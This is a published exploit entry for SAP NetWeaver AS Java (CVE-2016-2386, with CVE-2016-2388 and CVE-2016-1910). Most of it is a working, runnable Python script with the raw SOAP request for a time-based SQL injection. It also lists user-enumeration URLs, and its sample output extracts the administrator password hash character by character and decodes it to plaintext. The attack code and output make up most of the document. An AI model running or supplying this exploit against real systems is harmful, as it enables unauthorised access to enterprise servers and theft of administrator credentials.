SAP NetWeaver J2EE Engine 7.40 - SQL Injection





Platform:

Multiple

Date:

2018-01-10


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#!/usr/bin/env python
# coding=utf-8
"""
Author: Vahagn Vardanyan https://twitter.com/vah_13

Bugs:
CVE-2016-2386 SQL injection
CVE-2016-2388 Information disclosure
CVE-2016-1910 Crypto issue



Follow HTTP request is a simple PoC for anon time-based SQL injection (CVE-2016-2386) vulnerability in SAP NetWeaver AS Java UDDI 7.11-7.50
  
    POST /UDDISecurityService/UDDISecurityImplBean HTTP/1.1
	User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
	SOAPAction:
	Content-Type: text/xml;charset=UTF-8
	Host: nw74:50000
	Content-Length: 500

	<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:sec="http://sap.com/esi/uddi/ejb/security/">
	  <soapenv:Header/>
	  <soapenv:Body>
		<sec:deletePermissionById>
		  <permissionId>1' AND 1=(select COUNT(*) from J2EE_CONFIGENTRY, UME_STRINGS where UME_STRINGS.PID like '%PRIVATE_DATASOURCE.un:Administrator%' and UME_STRINGS.VAL like '%SHA-512%') AND '1'='1</permissionId>
		</sec:deletePermissionById>
	  </soapenv:Body>
	</soapenv:Envelope>
  



In SAP test server I have admin user who login is "Administrator" and so I used this payload

        %PRIVATE_DATASOURCE.un:Administrator%

most SAP's using j2ee_admin username for SAP administrator login

        %PRIVATE_DATASOURCE.un:j2ee_admin%

You can get all SAP users login using these URLs (CVE-2016-2388 - information disclosure)

	1)	http:/SAP_IP:SAP_PORT/webdynpro/resources/sap.com/tc~rtc~coll.appl.rtc~wd_chat/Chat#
	2)	http:/SAP_IP:SAP_PORT/webdynpro/resources/sap.com/tc~rtc~coll.appl.rtc~wd_chat/Messages#

Instead of J2EE_CONFIGENTRY table you can use this tables

        UME_STRINGS_PERM
        UME_STRINGS_ACTN
        BC_DDDBDP
        BC_COMPVERS
        TC_WDRR_MRO_LUT
        TC_WDRR_MRO_FILES
        T_CHUNK                !!! very big table, if SAP server will not response during 20 seconds then you have SQL injection
        T_DOMAIN
        T_SESSION
        UME_ACL_SUP_PERM
        UME_ACL_PERM
        UME_ACL_PERM_MEM


An example of a working exploit

	C:\Python27\python.exe SQL_injection_CVE-2016-2386.py --host nw74 --port 50000
	start to retrieve data from the table UMS_STRINGS from nw74 server using CVE-2016-2386 exploit
	this may take a few minutes
	Found {SHA-512, 10000, 24}M
	Found {SHA-512, 10000, 24}MT
	Found {SHA-512, 10000, 24}MTI
	Found {SHA-512, 10000, 24}MTIz
	Found {SHA-512, 10000, 24}MTIzU
	Found {SHA-512, 10000, 24}MTIzUV
	Found {SHA-512, 10000, 24}MTIzUVd
	Found {SHA-512, 10000, 24}MTIzUVdF
	Found {SHA-512, 10000, 24}MTIzUVdFY
	Found {SHA-512, 10000, 24}MTIzUVdFYX
	Found {SHA-512, 10000, 24}MTIzUVdFYXN
	Found {SHA-512, 10000, 24}MTIzUVdFYXNk
	Found {SHA-512, 10000, 24}MTIzUVdFYXNk8
	Found {SHA-512, 10000, 24}MTIzUVdFYXNk88
	Found {SHA-512, 10000, 24}MTIzUVdFYXNk88F
	Found {SHA-512, 10000, 24}MTIzUVdFYXNk88Fx
	Found {SHA-512, 10000, 24}MTIzUVdFYXNk88Fxu
	Found {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuY
	Found {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuYC
	Found {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuYC6
	Found {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuYC6X


And finaly using CVE-2016-1910 (Crypto issue) you can get administrator password in plain text

	base64_decode(MTIzUVdFYXNk88FxuYC6X)=123QWEasdóÁq¹€ºX

"""
import argparse
import requests
import string

_magic = "{SHA-512, 10000, 24}"
_wrong_magic = "{SHA-511, 10000, 24}"
_xml = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" " \
       "xmlns:sec=\"http://sap.com/esi/uddi/ejb/security/\">\r\n  <soapenv:Header/>\r\n  <soapenv:Body>\r\n    " \
       "<sec:deletePermissionById>\r\n      <permissionId>1' AND 1=(select COUNT(*) from J2EE_CONFIGENTRY, " \
       "UME_STRINGS where UME_STRINGS.PID like '%PRIVATE_DATASOURCE.un:Administrator%' and UME_STRINGS.VAL like '%{" \
       "0}%') AND '1'='1</permissionId>\r\n    </sec:deletePermissionById>\r\n  </soapenv:Body>\r\n</soapenv:Envelope> "
host = ""
port = 0
_dictionary = string.digits + string.uppercase + string.lowercase

def _get_timeout(_data):
    return requests.post("http://{0}:{1}/UDDISecurityService/UDDISecurityImplBean".format(host, port),
                         headers={
                             "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 "
                                           "Firefox/57.0",
                             "SOAPAction": "",
                             "Content-Type": "text/xml;charset=UTF-8"
                         },
                         data=_xml.format(_data)).elapsed.total_seconds()


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('--host')
    parser.add_argument('--port')
    parser.add_argument('-v')

    args = parser.parse_args()
    args_dict = vars(args)

    host = args_dict['host']
    port = args_dict['port']

    print "start to retrieve data from the table UMS_STRINGS from {0} server using CVE-2016-2386 exploit ".format(host)
    _hash = _magic
    print "this may take a few minutes"
    for i in range(24):  # you can change it if like to get full hash
        for _char in _dictionary:
            if not (args_dict['v'] is None):
                print "checking {0}".format(_hash + _char)
            if _get_timeout(_hash + _char) > 1.300:  # timeout for local SAP server
                _hash += _char
                print "Found " + _hash
                break